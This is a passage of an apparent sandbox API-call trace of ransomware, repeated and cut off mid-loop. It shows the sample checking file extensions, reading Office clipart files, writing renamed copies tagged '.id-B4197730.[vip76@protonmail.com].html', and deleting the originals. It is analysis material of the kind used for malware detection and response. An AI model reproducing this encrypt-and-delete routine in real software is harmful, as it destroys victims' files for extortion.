	[0178.660] lstrlenW (lpString=".bz2") returned 4
	[0178.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString=".7z") returned 3
	[0178.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString=".dbf") returned 4
	[0178.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString=".1cd") returned 4
	[0178.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString=".jpg") returned 4
	[0178.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString=".doc") returned 4
	[0178.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString=".docx") returned 5
	[0178.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.660] lstrlenW (lpString=".pdf") returned 4
	[0178.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString=".xls") returned 4
	[0178.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.660] lstrlenW (lpString=".xlsx") returned 5
	[0178.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.660] lstrlenW (lpString=".ppt") returned 4
	[0178.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.660] lstrlenW (lpString=".zip") returned 4
	[0178.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.660] lstrlenW (lpString=".rar") returned 4
	[0178.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.661] lstrlenW (lpString=".bz2") returned 4
	[0178.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.661] lstrlenW (lpString=".7z") returned 3
	[0178.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.661] lstrlenW (lpString=".dbf") returned 4
	[0178.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.661] lstrlenW (lpString=".1cd") returned 4
	[0178.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.661] lstrlenW (lpString=".jpg") returned 4
	[0178.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.661] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.661] lstrlenW (lpString="IN00177_.WMF") returned 12
	[0178.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.662] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1074) returned 1
	[0178.662] CloseHandle (hObject=0x4a8) returned 1
	[0178.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220
	[0178.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.662] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.663] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.663] GetLastError () returned 0x0
	[0178.663] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x432, lpOverlapped=0x0) returned 1
	[0178.665] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x440, lpOverlapped=0x0) returned 1
	[0178.666] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.666] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.666] SetEndOfFile (hFile=0x514) returned 1
	[0178.667] CloseHandle (hObject=0x514) returned 1
	[0178.671] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.671] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.674] CloseHandle (hObject=0x4a8) returned 1
	[0178.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1
	[0178.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.675] lstrlenW (lpString=".doc") returned 4
	[0178.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.675] lstrlenW (lpString=".docx") returned 5
	[0178.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.675] lstrlenW (lpString=".pdf") returned 4
	[0178.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.675] lstrlenW (lpString=".xls") returned 4
	[0178.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.676] lstrlenW (lpString=".xlsx") returned 5
	[0178.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.676] lstrlenW (lpString=".ppt") returned 4
	[0178.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString=".zip") returned 4
	[0178.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.676] lstrlenW (lpString=".rar") returned 4
	[0178.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString=".bz2") returned 4
	[0178.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString=".7z") returned 3
	[0178.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString=".dbf") returned 4
	[0178.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString=".1cd") returned 4
	[0178.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString=".jpg") returned 4
	[0178.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.676] lstrlenW (lpString=".doc") returned 4
	[0178.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.676] lstrlenW (lpString=".docx") returned 5
	[0178.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.676] lstrlenW (lpString=".pdf") returned 4
	[0178.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString=".xls") returned 4
	[0178.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.677] lstrlenW (lpString=".xlsx") returned 5
	[0178.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.677] lstrlenW (lpString=".ppt") returned 4
	[0178.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.677] lstrlenW (lpString=".zip") returned 4
	[0178.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.677] lstrlenW (lpString=".rar") returned 4
	[0178.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString=".bz2") returned 4
	[0178.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString=".7z") returned 3
	[0178.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.677] lstrlenW (lpString=".dbf") returned 4
	[0178.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.677] lstrlenW (lpString=".1cd") returned 4
	[0178.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0178.677] lstrlenW (lpString=".jpg") returned 4
	[0178.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.677] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.677] lstrlenW (lpString="IN00204_.WMF") returned 12
	[0178.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.678] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1848) returned 1
	[0178.678] CloseHandle (hObject=0x4a8) returned 1
	[0178.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220
	[0178.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.679] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.679] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.680] GetLastError () returned 0x0
	[0178.680] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x738, lpOverlapped=0x0) returned 1
	[0178.681] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x740, lpOverlapped=0x0) returned 1
	[0178.682] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.682] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.683] SetEndOfFile (hFile=0x514) returned 1
	[0178.683] CloseHandle (hObject=0x514) returned 1
	[0178.683] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.683] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.685] CloseHandle (hObject=0x4a8) returned 1
	[0178.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1
	[0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.686] lstrlenW (lpString=".doc") returned 4
	[0178.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.686] lstrlenW (lpString=".docx") returned 5
	[0178.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.686] lstrlenW (lpString=".pdf") returned 4
	[0178.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.686] lstrlenW (lpString=".xls") returned 4
	[0178.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.687] lstrlenW (lpString=".xlsx") returned 5
	[0178.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.687] lstrlenW (lpString=".ppt") returned 4
	[0178.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString=".zip") returned 4
	[0178.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.687] lstrlenW (lpString=".rar") returned 4
	[0178.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString=".bz2") returned 4
	[0178.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString=".7z") returned 3
	[0178.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString=".dbf") returned 4
	[0178.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString=".1cd") returned 4
	[0178.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString=".jpg") returned 4
	[0178.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.687] lstrlenW (lpString=".doc") returned 4
	[0178.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString=".docx") returned 5
	[0178.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.687] lstrlenW (lpString=".pdf") returned 4
	[0178.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.687] lstrlenW (lpString=".xls") returned 4
	[0178.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.688] lstrlenW (lpString=".xlsx") returned 5
	[0178.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.688] lstrlenW (lpString=".ppt") returned 4
	[0178.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.688] lstrlenW (lpString=".zip") returned 4
	[0178.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.688] lstrlenW (lpString=".rar") returned 4
	[0178.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.688] lstrlenW (lpString=".bz2") returned 4
	[0178.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.688] lstrlenW (lpString=".7z") returned 3
	[0178.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.688] lstrlenW (lpString=".dbf") returned 4
	[0178.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.688] lstrlenW (lpString=".1cd") returned 4
	[0178.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0178.688] lstrlenW (lpString=".jpg") returned 4
	[0178.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.688] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.688] lstrlenW (lpString="IN00233_.WMF") returned 12
	[0178.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.689] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11190) returned 1
	[0178.689] CloseHandle (hObject=0x4a8) returned 1
	[0178.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220
	[0178.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.690] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.690] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.690] GetLastError () returned 0x0
	[0178.690] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2bb6, lpOverlapped=0x0) returned 1
	[0178.994] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0178.996] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.996] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.996] SetEndOfFile (hFile=0x514) returned 1
	[0178.996] CloseHandle (hObject=0x514) returned 1
	[0178.996] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.997] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.077] CloseHandle (hObject=0x4a8) returned 1
	[0179.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.735] lstrlenW (lpString=".doc") returned 4
	[0179.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.735] lstrlenW (lpString=".docx") returned 5
	[0179.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.735] lstrlenW (lpString=".pdf") returned 4
	[0179.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString=".xls") returned 4
	[0179.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.736] lstrlenW (lpString=".xlsx") returned 5
	[0179.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.736] lstrlenW (lpString=".ppt") returned 4
	[0179.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0179.736] lstrlenW (lpString=".zip") returned 4
	[0179.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.736] lstrlenW (lpString=".rar") returned 4
	[0179.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.736] lstrlenW (lpString=".bz2") returned 4
